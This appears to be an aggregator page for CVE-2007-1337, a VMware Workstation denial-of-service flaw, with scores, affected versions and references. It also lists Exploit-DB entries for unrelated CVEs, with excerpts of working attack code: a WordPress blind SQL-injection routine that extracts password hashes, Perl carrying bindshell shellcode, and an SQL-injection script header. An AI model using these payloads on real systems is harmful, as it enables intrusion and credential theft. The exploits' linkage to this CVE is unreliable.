CVE-2007-1337
published 2007-05-02CVE-2007-1337: The virtual machine process (VMX) in VMware Workstation before 5.5.4 does not properly read state information when moving from the ACPI sleep state to the run…
PriorityP425high7.8CVSS 2.0
AVNACLAuNCNINAC
EPSS
1.93%
77.6th percentile
The virtual machine process (VMX) in VMware Workstation before 5.5.4 does not properly read state information when moving from the ACPI sleep state to the run state, which allows attackers to cause a denial of service (virtual machine reboot) via unknown vectors.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| vmware | server | — | — |
| vmware | workstation | <= 5.5.3 | — |
| vmware | workstation | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-rf4c-m93m-m5w7: The PIIX4 power management subsystem in EMC VMware Workstation 5
ghsa_unreviewed·2022-05-01·CVSS 7.8
CVE-2007-2491 [HIGH] GHSA-rf4c-m93m-m5w7: The PIIX4 power management subsystem in EMC VMware Workstation 5
The PIIX4 power management subsystem in EMC VMware Workstation 5.5.3.34685 and VMware Server 1.0.1.29996 allows local users to write to arbitrary memory locations via a crafted poke to I/O port 0x1004, triggering a denial of service (virtual machine crash) or other unspecified impact, a related issue to CVE-2007-1337.
GHSA
GHSA-g53g-p3h8-f368: The virtual machine process (VMX) in VMware Workstation before 5
ghsa_unreviewed·2022-05-01
CVE-2007-1337 [HIGH] GHSA-g53g-p3h8-f368: The virtual machine process (VMX) in VMware Workstation before 5
The virtual machine process (VMX) in VMware Workstation before 5.5.4 does not properly read state information when moving from the ACPI sleep state to the run state, which allows attackers to cause a denial of service (virtual machine reboot) via unknown vectors.
No detection rules found.
Exploit-DB
WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing
exploitdb·2007-05-21
CVE-2007-2821 WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing
WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing
---
$ch\n";
$out .= "$ch";
echo "current value for $field: $out \n";
}
echo "\nFinal result: $field=$out\n\n";
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
global $prefix, $suffix, $id, $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
$ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
// First let's determine, if it's number or letter
$inj = sprintf($ipattern, $prefix, $id, ">57");
$post = sprintf($ppattern, $suffix, $inj, $suffix);
$letter = test_condition($post)
Exploit-DB
MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow
exploitdb·2007-03-02
CVE-2007-1301 MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow
MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow
---
#!/usr/bin/perl
#
# maildisable-v4.pl
#
# Mail Enable Professional/Enterprise v2.32-4 (win32) remote exploit
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
# Mail Enable Professional v2.33 (win32)
# Mail Enable Professional v2.35 (win32)
# Mail Enable Professional v2.37 (win32)
#
########
use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;
# Fixed metasploit win32 bindshell port 1337
my $zshell_win32_bind =
"\x33\xc9\x83\xe9\xb0".
"\x81\xc4\xd0\xfd\xff\xff". # add %esp, -560
"\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".
"\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".
"\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2"
Exploit-DB
Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (2)
exploitdb·2007-01-17
CVE-2007-0388 Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (2)
Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (2)
---
#!/usr/bin/perl
# Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl
# written by trew
#
# should work on every wbb regardless of php settings.
#
# v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie
# v 1.1 - added wbblite support (thx to lama)
#
#
#
# !PRIVATE! - !PRIVATE!
#
# Leaked by some morons from egocrew
#
use strict; # 1337
use warnings; # 31337
use LWP::UserAgent;
use HTTP::Response;
use HTTP::Status;
use Getopt::Std;
getopt('uisUpAclC');
our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C );
my $target = shift;
sub do_request($$);
if ( !$target ) { &HELP_MESSAGE; }
my ( $host, $folder );
if ( $target =~ /(?:http:\/\/)?([
No writeups or analysis indexed.
http://osvdb.org/35508http://secunia.com/advisories/25079http://www.securityfocus.com/archive/1/467936/30/6690/threadedhttp://www.securityfocus.com/archive/1/469011/30/6510/threadedhttp://www.securityfocus.com/bid/23732http://www.securitytracker.com/id?1018011http://www.vmware.com/support/ws55/doc/releasenotes_ws55.html#554http://www.vupen.com/english/advisories/2007/1592https://exchange.xforce.ibmcloud.com/vulnerabilities/33990http://osvdb.org/35508http://secunia.com/advisories/25079http://www.securityfocus.com/archive/1/467936/30/6690/threadedhttp://www.securityfocus.com/archive/1/469011/30/6510/threadedhttp://www.securityfocus.com/bid/23732http://www.securitytracker.com/id?1018011http://www.vmware.com/support/ws55/doc/releasenotes_ws55.html#554http://www.vupen.com/english/advisories/2007/1592https://exchange.xforce.ibmcloud.com/vulnerabilities/33990
2007-05-02
Published